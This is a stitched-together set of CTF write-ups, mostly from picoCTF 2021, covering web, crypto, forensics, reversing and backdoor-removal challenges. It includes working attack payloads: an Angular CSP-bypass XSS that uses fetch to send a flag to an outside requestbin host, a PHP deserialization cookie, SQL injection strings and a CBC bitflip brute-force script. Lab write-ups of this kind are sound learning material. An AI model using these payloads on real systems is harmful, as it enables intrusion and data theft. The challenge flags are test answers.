Here's part 2: h4ts_4_l0 */```Very nice indeed. We now have 3 parts of the flag: `picoCTF{th4ts_4_l0t_0f_pl4c`. Now what was that hint in `robots.txt`? ### .htacess```# I think this is an apache server... can you Access the next flag?```An apache server! What kind of file could that be? Now... in order to be transparent, I had to take a hint here and for the following file from my friend [N1z0ku](https://github.com/N1z0ku). We now need to access the `.htaccess` file! ```# Part 4: 3s_2_lO0k# I love making websites on my Mac, I can Store a lot of information there.```Our flag so far: `picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k`. ### .DS_Store Now, you might be asking yourself: "What the hell? What kind of file is this?!". From what I've read, `.DS_Store` is a special MacOS file that stores information about the current folder. Like icon positioning etc. You may also see it if you unzip a file from a Mac user on a non-Mac computer. Kind of a token identifier of Mac computers.```Congrats! You completed the scavenger hunt. Part 5: _d375c750}```So here it is! ## Flag ```picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_d375c750}```
[Original writeup and code](https://github.com/gov-ind/ctf-writeups/blob/main/2021/picoctf/scrambled_rsa/scrambled_rsa.md)   ## The ChallengeI'm not sure this is the intended solution, because unlike what the challenge description says, you can solve this without even knowing what RSA is! Anyways, the challenge outputs an encrypted flag, the public modulus (_n_), and the public key (_e_): ```shellflag: 28315151787008598750687445077442851362791798365048726230007170614101899067117809164915398889257586247956120320014983903400140999421663002320526698293882339815210250335591733160427121280077807383100999806350316884521912476585713474827809008092695191961046756573246908378050587928394291726918574673035527321260633459454226991432691659768856692704980125119535151239915829378779742185739049174553910835858239410986095990681058121001203059741870312665897740641711256035827227253583216672557018837549826986073903528154166505131594535146746554800122162859398224401260178127872044181322144854695400542704420069859850487225331861366145200584863138918931827620047257621827804068666629110025721044463718700399275492237784188100021285877866265405769681300795135778018205308070923146232395272408019644957971476409983064311007589674015268353784821801757516183283055718778105869282342637976007957628976372026670000857370434308330910199963337760849596334649296002223074431520307429075906382098129795125950241265007441113641315561291189011104781603671953028894932092605129646146846961106348962187760492627333801809318540318737046933261821486453904123971518070614396334753660033560884161771608208359773691298584582451183396854683074425582684190892338916825658524274432483782501395809323036773969400350672746607201861867262126796185422352077775531497387390737440578002377077669691022636392249516592295632199130210150963075315553208935973489390323383116619459292916553520190539592554589330684718690104042311498280385237185666676780298535277787630044219192278275938202263148249221169267389164261713850234145076136745540674666772639404216632685550818928903741884084777057023037862651810561604204108189218559460855883074254650007533138343255722808848497824125434466854455673369836839277400330295207510157877431833129166850683284740327745126286997052040851003206595907902839669480241955460077316736800778150704487989717609101061129372477117770513059814142468317793167065475383597567849460886695097745545445009346990116778570472309641149173141170734261352705950023195248530353743584365661126079636075020996860005610323858070781408512632269693423949171202831636767980777893058132259441999940105340113069860487248289451151506725131217640637961022193724152104563992581454074517689093414131854420863359506949118553334913672638820941107187334027997972024423301132882622638701163793683065937602213977763900287532673848828742790122129097178704038180537045677230042454866880647323392914235144670016889533181658835781939778557605353280837224062520450227833827951141963402051082039438633752041979213712971409689947413590338049614367506580292389810657475850362961598322067141709598240999122644754149663751563857565713494946925047803894575568205635691091789755247672417574660003922923141913571457025599775456832333775821771747432225029156888069793327315119264056226589604050753070712823272112157335541927236706867836307548744545895048293143188421248645176376785868847157806871282350142733685014418606535676238424790588133783692452328284286093343800015355885443087088336404535545138098508535890566582009522696026979285087569899388988378917061919565428906331852621070471126473338952383558957931232206087664526240767903379664457714565612274605076700541061849666988061794731550591037884601952809849667211755220404121883470336116625658436233462639447986880264618227128865992979683588772296172086663675899740532371015585939946215545410239792471003380462619230467602845607946726966938585973321069157880236223174145064423406377729481789750614349618442318641490704871692139010312995307104668187332008707451215639905326238589186841418817783414277110274921452486711675364416448735429025185583482650194218107976124865241999414925528070485432663312002925373108730627097184404510036308090848324690625522842470554672882241548936568892642120312169569623178017144960837505220015624961373603743376322326011482155289717500682731136847573359738323038443138408761419052262122431524654312618804650020744723221035143611753663416720550740176946623832626826912292107891195252043991107656016433831429289037402597658774490901505537976013276890255984396669632170873861129405310940026586624181122290511583019875170616211381547265986141090509235331035903144401932021905946333372178479991626097934930763979934008845401617427241357519162538995606535603291560668328789526751449200958720885848029863128098881538282142947749861628590132600495286510385606025591022348350709501506113211378454335094157297212236005016301858303389319926911846712385755207904631721870789566161259455020235911037181955120522616980740119657859315434581581561313601666986952688827716321757523653456373432912392082865330939156636442837652607857284157027629160761782762957634077959574579759169582226595774062991294698062525542206714050610996543481048736395511094157190276258074046498121268104623205114196166495292873026466748082180602404452805453368610816177193915533327792653932757072904300816572813267215862634357271632494931803035001299291549115713155202713393201389906848183577643552517736221039308355047092469167602344373816284675621745578615989206184255999054175750288932269482734784844197859950006715709852344766295712444007467074437421084501252907250560955169296982495110937546344904634598159023506331924481511052734197143977522963891379222278344549217726508473264203246636048584882133814170019219876209734327435139332684645877478287647804923286453283893430582982004103932797997660568399830267262073673782213873867772948200059007347547297439047349472137254241344976067077535516442446528063941332709050054775557131346484789616409773587544854536993878477626200116471534442106947379984329838933991344379484063066908262435277802973591374213196479296888869035867997327619581392353254835364525231777474484741550857338782536288774057677750847461150798766481600411623009394543474576073391227643847351607687366464991276050119948410155853275944699239693833020455590986778542731732198463005793598787202319233706824946483124369986216429125009948154334631007389791202811257434088413302438685088006142419631274670210241549520949809191896837356477895782410377802668284086076435945811726291593906681654897694956927638448187727363155355902134652619141372572571575928632037439609108270948427196340328904287809562075468853168670462858504900447427220006665878829765418141312787599868902995064606390573284710543466758292142991301875602116527469550418388723388780008031734179347845995380501061883960246738547535866745877025286926539457313057558020589060079178782880744350700016369910862599544390457179817385870492187639677092413698428412300382867431050078651821960700731549377105620269001457487893704752815496493948111223306223606499791440954825274586638674578806680503566451674383092335514999345822328202201553026808822684707933715792303361270098823155812819264517820288884832042452078166416100763571626705713763792177819549443244121487177292686625652875925985669455118830419523775358977705501989094577802404870569712264699226354802837852886473687714531776470505001323702631174105481560227062559370520032907223894241054051059010606917474244718620101098957343220408300994489766516083037844728191124472728220507067335078402490815740388322980187470309845253387874472256852898945675088332800058605246441647662072058496723155997184093031112885121426796923145316236879662590734878555281274033366430941086259961765924881486487709890488665817060558751120769270364079500431552772874536471158757125180440589248581803342502616876843222473482310762516840587254130119787671884305989741496874077556382767069249737687894497090455104737145183232880589687533401388371083418328931909405393874184444672159800786950563224137142799136822913799390067117319888134620805293232024585745344569725209931542502851864969693787442069029087716930523601265286587957732573642144274281269935281660280916057244257570258810677891817286311320001844282557101896876286556566592244848865462956986803538523095613494145829230925895792336521980802165290290853721478950778521734076141412617199062984817785804246360502372801065393040671997252513485489214261359n: 109059791533701839999920936924165762910278956109176088031746418764170331535776995785902019573851759143108105564893100481695282738073366355987377256501385010008687082509127329540304289751799057590609315843312452176659272587409303709237283386795811695919013595780935186118673359897728308201820456043410178338519e: 65537```   ## Analysis Recall that in the RSA cryptosystem, the ciphertext _c_, plaintext _m_, public key _e_, and modulus _n_ are related as follows:   $c = m^e \pmod n$   Right away, we see that the ciphertext here (_flag_) is much bigger than _n_, so this might not be conventional RSA (Perhaps each character is encrypted separately and then concatenated?). Just to verify that this isn't textbook RSA, where a 0 is encrypted as 0, and a 1 as 1, let's try passing in them in: ```shell(echo -e '\x00\n\x01' && cat) | nc mercury.picoctf.net 58251...I will encrypt whatever you give me: Here you go: 23719065906383464698822759154616073166018849575700194812036963072733126052408028882800107849334040979312191136088187843811208444469870514378562196578983797163482686387444770018601754161145896200449364187322830660020617085746229240461646927858024168380027534087435702909076384773238780326119726429037261937865I will encrypt whatever you give me: Here you go: 35138504912504660554287236019089210647852486746476950741554907362158616509890278628386376351841802001726371025769791259829501072372506490805314919327300264265275274027405818267858313757379015370751314477275064187089228080296052702134906007289922671291060395005837336451554639554253139737154189707073081598402```   Looking at those outputs, it seems that input might be padded. But let's forget that this has anything to do with RSA for moment, and send some stings, say 'a' once and 'ab' twice: ```shellI will encrypt whatever you give me: aHere you go: 40942110745651815762274045300819310595902683564775234251534658165662628689797212260388445834982497389595526036472849468134555894513457309861456017659623726312900346877719339306273497652803254193178368240481327604236236337530441911623131183297314389883600794125029902255533734906396411545625080790678452080732I will encrypt whatever you give me: abHere you go: 4094211074565181576227404530081931059590268356477523425153465816566262868979721226038844583498249738959552603647284946813455589451345730986145601765962372631290034687771933930627349765280325419317836824048132760423623633753044191162313118329731438988360079412502990225553373490639641154562508079067845208073226080718047036458503516804898910772696226063659979543205511533198812294562736495453796803634423986600197102161654220605603188631797822988698458681223313685456772994254313040324133133825379968471684800870360040870813722377537149954480675965031612394957835409667545270736421924109196055358062108150984245978195I will encrypt whatever you give me: abHere you go: 2608071804703645850351680489891077269622606365997954320551153319881229456273649545379680363442398660019710216165422060560318863179782298869845868122331368545677299425431304032413313382537996847168480087036004087081372237753714995448067596503161239495783540966754527073642192410919605535806210815098424597819540942110745651815762274045300819310595902683564775234251534658165662628689797212260388445834982497389595526036472849468134555894513457309861456017659623726312900346877719339306273497652803254193178368240481327604236236337530441911623131183297314389883600794125029902255533734906396411545625080790678452080732```   Because the cipher does not appear to be deterministic ('ab' has more than one ciphertext), let's use $E$ to denote the encryption function, and $E_{i}(P)$ to denote the $i^{th}$ ciphertext of a plaintext $P$. If you play around with this for a while, you'll notice that the maximum value of $i$ is equal to the length of the plaintext. In other words, a plaintext of length 1 will always return the same ciphertext, a plaintext of length 2 will randomly return one of two ciphertexts, and so on. Also note that $E_{1}('ab')$ is almost twice as long as $E_{1}('a')$, which suggests that there might be some concatenation going on. In fact, if you stare at those numbers long enough, you'll realize that $E_{1}('a')$ is in both $E_{1}('ab')$ and $E_{2}('ab')$. ```shellubuntu@ubuntu1604:/$ a=40942110745651815762274045300819310595902683564775234251534658165662628689797212260388445834982497389595526036472849468134555894513457309861456017659623726312900346877719339306273497652803254193178368240481327604236236337530441911623131183297314389883600794125029902255533734906396411545625080790678452080732 ubuntu@ubuntu1604:/$ ab1=4094211074565181576227404530081931059590268356477523425153465816566262868979721226038844583498249738959552603647284946813455589451345730986145601765962372631290034687771933930627349765280325419317836824048132760423623633753044191162313118329731438988360079412502990225553373490639641154562508079067845208073226080718047036458503516804898910772696226063659979543205511533198812294562736495453796803634423986600197102161654220605603188631797822988698458681223313685456772994254313040324133133825379968471684800870360040870813722377537149954480675965031612394957835409667545270736421924109196055358062108150984245978195 ubuntu@ubuntu1604:/$ ab2=2608071804703645850351680489891077269622606365997954320551153319881229456273649545379680363442398660019710216165422060560318863179782298869845868122331368545677299425431304032413313382537996847168480087036004087081372237753714995448067596503161239495783540966754527073642192410919605535806210815098424597819540942110745651815762274045300819310595902683564775234251534658165662628689797212260388445834982497389595526036472849468134555894513457309861456017659623726312900346877719339306273497652803254193178368240481327604236236337530441911623131183297314389883600794125029902255533734906396411545625080790678452080732```   ![](https://github.com/gov-ind/ctf-writeups/raw/main/2021/picoctf/scrambled_rsa/1.png)   Looking at that output, we can assume that portion not in red is somehow related to $E_{1}('b')$ (it isn't exactly $E_{1}('b')$ (You can verify this by asking the oracle to encrypt 'b'). Here's what you get when you encrypt 'abc': ```shellI will encrypt whatever you give me: abcHere you go: 409421107456518157622740453008193105959026835647752342515346581656626286897972122603884458349824973895955260364728494681345558945134573098614560176596237263129003468777193393062734976528032541931783682404813276042362363375304419116231311832973143898836007941250299022555337349063964115456250807906784520807327779643605543616772957322812980097856271328000464206179845073113246155272715520148448273798006538745994721855153391032175768357988437205434596679177914798795795155116111138710247570648306821674026946155691243071901759637658549869574643799109432333492854419799242529759445500625007946579655778377442015238337626080718047036458503516804898910772696226063659979543205511533198812294562736495453796803634423986600197102161654220605603188631797822988698458681223313685456772994254313040324133133825379968471684800870360040870813722377537149954480675965031612394957835409667545270736421924109196055358062108150984245978195 ubuntu@ubuntu1604:/$ b=26080718047036458503516804898910772696226063659979543205511533198812294562736495453796803634423986600197102161654220605603188631797822988698458681223313685456772994254313040324133133825379968471684800870360040870813722377537149954480675965031612394957835409667545270736421924109196055358062108150984245978195 ubuntu@ubuntu1604:/$ abc=409421107456518157622740453008193105959026835647752342515346581656626286897972122603884458349824973895955260364728494681345558945134573098614560176596237263129003468777193393062734976528032541931783682404813276042362363375304419116231311832973143898836007941250299022555337349063964115456250807906784520807327779643605543616772957322812980097856271328000464206179845073113246155272715520148448273798006538745994721855153391032175768357988437205434596679177914798795795155116111138710247570648306821674026946155691243071901759637658549869574643799109432333492854419799242529759445500625007946579655778377442015238337626080718047036458503516804898910772696226063659979543205511533198812294562736495453796803634423986600197102161654220605603188631797822988698458681223313685456772994254313040324133133825379968471684800870360040870813722377537149954480675965031612394957835409667545270736421924109196055358062108150984245978195```   ![](https://github.com/gov-ind/ctf-writeups/raw/main/2021/picoctf/scrambled_rsa/2.png)   What this means is that $E_{1}('a')$ and (some value related to) $E_{1}('b')$ is always in all of $E_{i}('abc')$. This applies to $E_{1}(flag)$ as well: If we were to encrypt 'pi' (because those are the first two characters of the flag format), we'll find that $E_{1}('p')$ will always be in $E_{1}(flag)$, and so will (some value related to) $E_{1}('i')$. On the other hand, if we were to encrypt 'pj', we'll find that (some value related to) $E_{1}('j')$ is not in $E_{1}(flag)$. You can see where this is going.   ## Solution 1. Create a string _known_ of known characters.2. Ask to encrypt 'p', verify that $E_{1}('p')$ is in $E_{1}(flag)$, and append 'p' to _known_.3. Loop over all printable characters, and for each printable character _c_, ask to encrypt _known_ + _c_.3. Extract (some value related to) $E_{1}(c)$ from the ciphertext and check if that value is in $E_{1}(flag)$.4. If it is, break out out of the loop and append _c_ to _known_. If _c_ happens to be '}', print _known_ and exit; Otherwise go to step 2.5. If it isn't, continue to the next character.
# Transformation Category: Reverse Engineering AUTHOR: MADSTACKS ## Description```I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])``` ## Solution You could simply use [cyberchef]() on the `magic` setting, and get the flag `picoCTF{16_bits_inst34d_of_8_e141a0f7}`. Or use this:```pydecode = '灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸彥ㄴㅡて㝽'print(decode.encode('utf-16-be'))```
# HideAndSeekAfter we connected to the target, we first executed linpeas.sh. From its output we got suid binaries: yesqhe, wwlbrq, awdsui and mount. Also its lists all cron jobs, and one of the jobs - cron.daily/access-up was backdoored. After executing commands such as below, we have fully remediated issue 3. 1. rm /etc/cron.daily/access-up2. rm /usr/sbin/yesqhe3. rm /usr/sbin/wwlbrq4. rm /usr/sbin/awdsui5. chmod 755 /usr/bin/mount In linpeas.sh output we can also see the /etc/passwd file, where we can see users with default shell: root, user and hodor. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-37-10.png) Since we do not know who is hodor, we simply remove him: userdel -f hodor (we have an error “userdel: user hodor is currently used by process 1”, but user will be removed). Now issue 2 is fully remediated. Next, we went to /root/.ssh/authorized_keys and found some ssh keys. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-37-23.png) After a few tries we found that the last key was a backdoor. When we run /root/solveme, we see that issue 4 is only partially remediated. We should dive deeper. Since issue 3 was only about suid, we can assume that issue 4 has connected backdoors, so we should see something related to ssh. We removed “PermitRootLogin yes” from sshd config, but it is not the solution :(. Next, In the /etc/init.d/ directory we found ssh config that executes at system boot. Clearly that the end of the file was backdoored. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-37-34.png) Now issue 4 is finally, fully remediated. And the last issue took us a few hours, because it is not obvious that the user we got for testing will be backdoored. In the /home/user/.bashrc we can found one interesting line: ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-37-45.png) Which is clearly a backdoor. After removing this line, the issue 1 is fully remediated. And the last step is to run /root/solveme and get the flag: ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-37-54.png)
Check out [https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#csp-2](https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#csp-2) for writeup with images. --- This challenge was simmilar to the last one where we need to send an XSSpayload to an admin to get the flag. Checking the CSP this time we have: ```javascriptscript-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report``` This one has the issue of using `script-src` from cdnjs.cloudflare.com. If we canuse a script from CloudFlare to execute arbitrary JS, we win! To do this we can use Angular to evaluate JS within an Angular context.Here's a simple example to test: ```javascript<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script><x ng-app>{{$new.constructor('alert(1)')()}}``` This payload seems to work! Now we just need to exfiltrate the flag like the last challenge using fetch. ```javascript<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script><x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}``` Then we get the Flag on RequestBin: ```CTF{Can_Still_Pwn}```
# Disk,disk,sleuth! Category: Forensics AUTHOR: SYREAL **Disclaimer! I do not own any of the challenge files!** ## Description```Use `srch_strings` from the sleuthkit and some terminal-fu to find a flag in this disk image: dds1-alpine.flag.img.gz``` ## The image After downloading the image, I used `gunzip` to unzip it and then ran `srch_strings` just as recommended. *NOTE: srch_strings is part of the sleuthkit, which you can downloade [here](https://sleuthkit.org/sleuthkit/download.php)* ```srch_strings dds1-alpine.flag.img...mousemousedev.koseriopsmouse.ko@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`@1,`hyperv-keyboard.kopcips2.kobcachedm-bio-prison.koHpdm-bufio.kodm-cache-smq.kodm-cache.kodm-crypt.kodm-delay.kodm-flakey.koNpdm-log-userspace.kodm-log-writes.koPpdm-log.kodm-mirror.koRpdm-mod.kodm-multipath.kodm-queue-length.kodm-raid.kodm-region-hash.kodm-round-robin.kodm-service-time.kodm-snapshot.kodm-switch.ko[pdm-thin-pool.kodm-unstripe.ko...```But the output is absolutely massive... Hey, maybe we can just do a simple grep?```srch_strings dds1-alpine.flag.img | grep picoffffffff81399ccf t pirq_pico_getffffffff81399cee t pirq_pico_setffffffff820adb46 t pico_router_probe SAY picoCTF{f0r3ns1c4t0r_n30phyt3_267e38f6}```Flagalicious!
# PicoCTF2021 Tue, 16 Mar. 2021 — Tue, 30 Mar. 2021 **Ranked 113th on 6215** * [Web](README.md#web) - [Super Serial](README.md#super-serial) (130 points) - [Startup Company](README.md#startup-company) (180 points) - [Web Gauntlet 2](README.md#web-gauntlet-2) (170 points) - [Web Gauntlet 3](README.md#web-gauntlet-3) (300 points)* [ARMssembly (Reverse Engineering)](#armssembly) - [ARMssembly 0](README.md#armssembly-0) (40 points) - [ARMssembly 1](README.md#armssembly-1) (70 points) - [ARMssembly 2](README.md#armssembly-2) (90 points) - [ARMssembly 3](README.md#armssembly-3) (130 points) - [ARMssembly 4](README.md#armssembly-4) (170 points) # Web ## Super Serial We must recover the flag stored on this website at `../flag` An the site, there is only one page: `index.php` There is also a `robots.txt`: ```User-agent: *Disallow: /admin.phps``` With this hint, we found other pages: ```index.phpcookie.phpauthentication.phpindex.phpscookie.phpsauthentication.phps``` We can see source code of pages in `.phps` files and there is something interesting: ```phpif(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); }}``` The object supposed to be deserialized is `permissions` but it does not appear to be vulnerable (SQL injection): ```phpclass permissions{ public $username; public $password; function __construct($u, $p) { $this->username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; }}``` However, we can serialize an another object which will allow us to read files on the server: ```phpclass access_log{ public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); }}``` So, we create an `access_log` which will read `../flag`: ```phpecho(serialize(new access_log("../flag")));// -> O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}``` Encode it in base64 and put it in `login` cookie: ```login: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9``` To sum up: - `$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));` serialize an `access_log` object with `$log_file="../flag"`- `$g = $perm->is_guest();` throw an error because `access_log` doesn't have `is_guest` method- the error is catch by `catch(Error $e)`- `die("Deserialization error. ".$perm);` call the `__toString` method of `access_log` which read `../flag` and display it content And we get `Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}` The flag is: `picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}` ## Startup Company We are on a website, we create an account and logged in There is a number input which accepts only digits, change in HTML type from `number` to `text` to write all we wants After some tests, the DBMS is sqlite and the query seems to look like `UPDATE table SET col = 'user_input'; SELECT col FROM table` First, we need to retrieve the table name: ```' || (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0) || '-> startup_users``` Then the column names: ```' || (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users') || '-> CREATE TABLE startup_users (nameuser text, wordpass text, money int)``` And dump the datas: ```' || (SELECT nameuser || wordpass FROM startup_users limit 1 offset 0) || '-> admin passwordron ' || (SELECT nameuser || wordpass || money FROM startup_users limit 1 offset 1) || '-> ronnot_the_flag_293e97bd picoCTF{1_c4nn0t_s33_y0u_eff986fd}``` The flag is: `picoCTF{1_c4nn0t_s33_y0u_eff986fd}` ## Web Gauntlet 2 There is a loggin form and we must loggin as admin The query is given: `SELECT username, password FROM users WHERE username='test' AND password='test'` There is also words filtered: `or and true false union like = > < ; -- /* */ admin` With `admi'||CHAR(` as username and `-0+110)||'` as password, the query is transformed into `SELECT username, password FROM users WHERE username='admi'||CHAR(' AND password='-0+110)||''` `' AND password='-0+110` is `110`, `CHAR(110)` is `'n'`, and `'admi'||'n'||''` is `'admin'` The final query looks like: `SELECT username, password FROM users WHERE username='admin'` We are logged in and we get the flag! The flag is: `picoCTF{0n3_m0r3_t1m3_d5a91d8c2ae4ce567c2e8b8453305565}` ## Web Gauntlet 3 Like `Web Gauntlet 2` except that the maximum size is no longer 35 but 25 Our payload still work because its size is 23 And the flag is: `picoCTF{k3ep_1t_sh0rt_fc8788aa1604881093434ba00ba5b9cd}` # ARMssembly The given source codes is ARM64 assembly, so we will compile it! Run an arm64 OS with qemu: https://wiki.debian.org/Arm64Qemu and let's go (But I think it was not the expected method for a reverse engineering chall) ## ARMssembly 0 ```Description: What integer does this program print with arguments 4112417903 and 1169092511?File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ```debian@debian:~$ gcc chall.Sdebian@debian:~$ ./a.out 4112417903 1169092511Result: 4112417903``` The flag is: `picoCTF{f51e846f}` ## ARMssembly 1 ```Description: For what argument does this program print `win` with variables 81, 0 and 3? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ```debian@debian:~$ gcc chall_1.Sdebian@debian:~$ ./a.out 1You Lose :(debian@debian:~$ ./a.out 2You Lose :(debian@debian:~$ ./a.out 3You Lose :(debian@debian:~$ for i in {0..1000}; do echo -n "$i "; ./a.out $i; done | grep win27 You win!``` The flag is: `picoCTF{0000001b}` ## ARMssembly 2 ```Description: What integer does this program print with argument 2610164910?File: chall_2.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ```debian@debian:~$ gcc chall_2.Sdebian@debian:~$ ./a.out 2610164910 # toooooo long^Cdebian@debian:~$ ./a.out 1Result: 3debian@debian:~$ ./a.out 2Result: 6debian@debian:~$ ./a.out 3Result: 9debian@debian:~$ ./a.out 4Result: 12debian@debian:~$ ./a.out 5Result: 15``` Resutl seams be `2610164910 * 3`, so `7830494730` The flag is: `picoCTF{d2bbde0a}` ## ARMssembly 3 ```Description: What integer does this program print with argument 469937816?File: chall_3.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ```debian@debian:~$ gcc chall_3.Sdebian@debian:~$ ./a.out 469937816Result: 36``` The flag is: `picoCTF{00000024}` ## ARMssembly 4 ```Description: What integer does this program print with argument 3434881889?File: chall_4.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})``` ```debian@debian:~$ gcc chall_4.Sdebian@debian:~$ ./a.out 3434881889Result: 3434882004``` The flag is: `picoCTF{ccbc23d4}`
Visit [Original writeup](https://docs.abbasmj.com/ctf-writeups/picoctf2021#more-cookies) for better formatting. --- **Description:** I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! **Points:** 90 #### **Solution** Looking at the website, This is a continuation of the "Cookies" challenge. So let's have a look This time the page reads "Welcome to my cookie search page. Only the admin can use it!" and the cookie is ```textauth_name=UXVDRDhEMmNrbTFCV25jbzdheFBjbHNmOWErZnNJdnY5Nk5pUkVNTkVXYUdRK0FVSk9tTGtRT3h1a0dWSDJrbmNHSUxsRTlNR2FZZFJaZ3RRb09EdngyUnd6L3FlbCtPSmZjbnJUVE5pWnVVUHNDQ1lJdFkzbTI4N29NWWxBRU4=``` It's a base64 but when I decode it, it's still in gibberish, So it's encrypted. Let's see the Hint **Hint 1:** https://en.wikipedia.org/wiki/Homomorphic\_encryption It's a Wikipedia page for a very interesting encryption method, It's more like an algorithm than an encryption formula. I found this to be the hardest challenge in the web, Reading articles about Homomorphic encryption and looking at other writeups I understand that we do not have to decrypt it to solve it, Homomorphic encryption allows you to perform operations on encrypted text. Also, I noticed that the letters "CBC" are oddly capitalized in the challenge description. So, It's a CBC bitflip. Meaning the encrypted text contains a bit that determines if it's admin or not, so probably something like `admin=0` but I don't know it's position so I brute forced it, Here's the code ```pythonfrom base64 import b64decodefrom base64 import b64encodeimport requests def bitFlip( pos, bit, data): raw = b64decode(data) list1 = list(raw) list1[pos] = chr(ord(list1[pos])^bit) raw = ''.join(list1) return b64encode(raw) ck = "UXVDRDhEMmNrbTFCV25jbzdheFBjbHNmOWErZnNJdnY5Nk5pUkVNTkVXYUdRK0FVSk9tTGtRT3h1a0dWSDJrbmNHSUxsRTlNR2FZZFJaZ3RRb09EdngyUnd6L3FlbCtPSmZjbnJUVE5pWnVVUHNDQ1lJdFkzbTI4N29NWWxBRU4=" for i in range(128): for j in range(128): c = bitFlip(i, j, ck) cookies = {'auth_name': c} r = requests.get('http://mercury.picoctf.net:25992/', cookies=cookies) if "picoCTF{" in r.text: print(r.text) break``` **Flag:** picoCTF{cO0ki3s\_yum\_82f39377}